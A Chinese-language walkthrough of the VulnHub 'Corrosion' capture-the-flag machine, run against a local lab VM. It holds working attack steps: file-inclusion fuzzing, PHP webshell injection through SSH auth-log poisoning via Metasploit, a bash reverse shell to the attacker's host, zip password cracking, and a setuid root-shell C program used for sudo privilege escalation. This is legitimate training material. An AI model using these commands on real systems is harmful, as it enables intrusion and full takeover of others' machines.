vulnhub靶场Corrosion
Corrosion
本地虚拟机部署,攻击机Kali(IP:10.1.1.128)
主机发现
nmap -sn -T4 10.1.1.0/24

目标机IP地址:10.1.1.131
端口扫描
TCP端口扫描
nmap --min-rate 10000 -p- 10.1.1.131 -oA nmap_output/ports

开放端口:22,80
端口详细信息扫描
nmap -sS -n -Pn -p 22,80,1 -sV -sC -O 10.1.1.131 -oA nmap_output/detail

UDP端口扫描
nmap -sU --top-ports 100 10.1.1.131 -oA nmap_output/udp

漏洞脚本扫描
nmap --script=vuln -p22,80 10.1.1.131 -oA nmap_output/vuln

信息总结
OS:Linux 4.15 - 5.19
TCP端口开放:
22 OpenSSH 8.4p1 Ubuntu 5 (protocol 2.0)
80 Apache httpd 2.4.46 ((Ubuntu))
UDP端口开放:目前无实际利用价值
常见漏洞信息:无
WEB
浏览器访问80web端口
http://10.1.1.131:80

apache的默认页面
目录爆破
gobuster dir -u http://10.1.1.131 -a "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

查看tasks和blog-post



进一步对指定文件类型进行爆破
gobuster dir -u http://10.1.1.131/blog-post/ -a "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" -x php,jsp,asp,txt,zip,tar -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

访问这2个地址



http://10.1.1.131/blog-post/archives/randylogs.php
页面为空,可能需要提交参数
文件包含漏洞
爆破参数,尝试读取etc/passwd文件
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.1.1.131/blog-post/archives/randylogs.php?FUZZ=/etc/passwd -fs 0

访问看看
http://10.1.1.131/blog-post/archives/randylogs.php?file=/etc/passwd

http://10.1.1.131/blog-post/archives/randylogs.php?file=/

没内容
刚才有个页面
http://10.1.1.131/tasks/tasks_todo.txt
- Change permissions for auth log
- Change port 22 -> 7672
- Set up phpMyAdmin
疑似和ssh配置有关系
在基于Debian/Ubuntu的系统上,认证日志通常在 /var/log/auth.log,配置文件通常在/etc/ssh/sshd_config
分别包含这两个文件


webshell写入ssh认证日志
构造用户名,进行ssh连接,webshell写入ssh认证日志,再包含日志文件
ssh -p 7672 '<?php system($_GET[cmd]);?>'@10.1.1.131
由于kali系统中openssh高版本中,对用户名的特殊字符做了限制,使用metasploit进行注入
password任意
msfconsole
use auxiliary/scanner/ssh/ssh_login
set rhosts 10.1.1.131
set rport 7672
set password 123
set username "<?php system($_GET[cmd]);?>"
set BLANK_PASSWORDS true
run

添加cmd的参数为你要执行的系统命令,如whoami
发现未能执行,经过排查,是端口问题,对方的ssh服务并没有更改为7672端口,依然是默认的22端口,重新设置端口
set rport 22
run

重新访问
http://10.1.1.131/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=whoami

反弹shell
http://10.1.1.131/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=bash -c 'bash -i >& /dev/tcp/10.1.1.128/443 0>&1'
对命令执行的部分进行URL编码

http://10.1.1.131/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.1.1.128%2F443%200%3E%261'


信息搜集
用户信息


root randy
翻找文件

user_backup.zip
下载文件到本地
目标机有Python3环境,启动一个http服务
python3 -m http.server
http://10.1.1.131:8000/user_backup.zip

解压文件

爆破user_backup.zip
需要密码,爆破一下
fcrackzip
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip

密码:!randybaby
继续解压
unzip user_backup.zip -d ./user_backup
!randybaby

ssh登录randy用户
ssh randy@10.1.1.131
randylovesgoldfish1998

user_flag

提权
查看当前用户权限
sudo -l

sudo滥用
进入该文件目录查看

(root) PASSWD: /home/randy/tools/easysysinfo
表示可以使用sudo以root身份执行/home/randy/tools/easysysinfo这个文件
替换该文件为自己想要的内容,比如启动一个/bin/bash -i达到提权到root的目的
查看该文件的类型
file /home/randy/tools/easysysinfo

elf可执行文件,架构x86-64
目标系统存在gcc编译环境

在当前目录创建创建easysysinfo.c文件
但是在刚刚的user_backup.zip文件中有asysysinfo.c文件

简单替换一下执行的命令直接拿来用
#include<unistd.h>
#include<stdlib.h>
void main()
{ setuid(0);
setgid(0);
system("/bin/bash -i");
system("cat /etc/hosts");
system("/usr/bin/uname -a");
}

gcc编译
gcc -o easysysinfo easysysinfo.c

sudo执行该文件
sudo ./easysysinfo
输入randy用户密码
成功提权到root

root_flag


浙公网安备 33010602011771号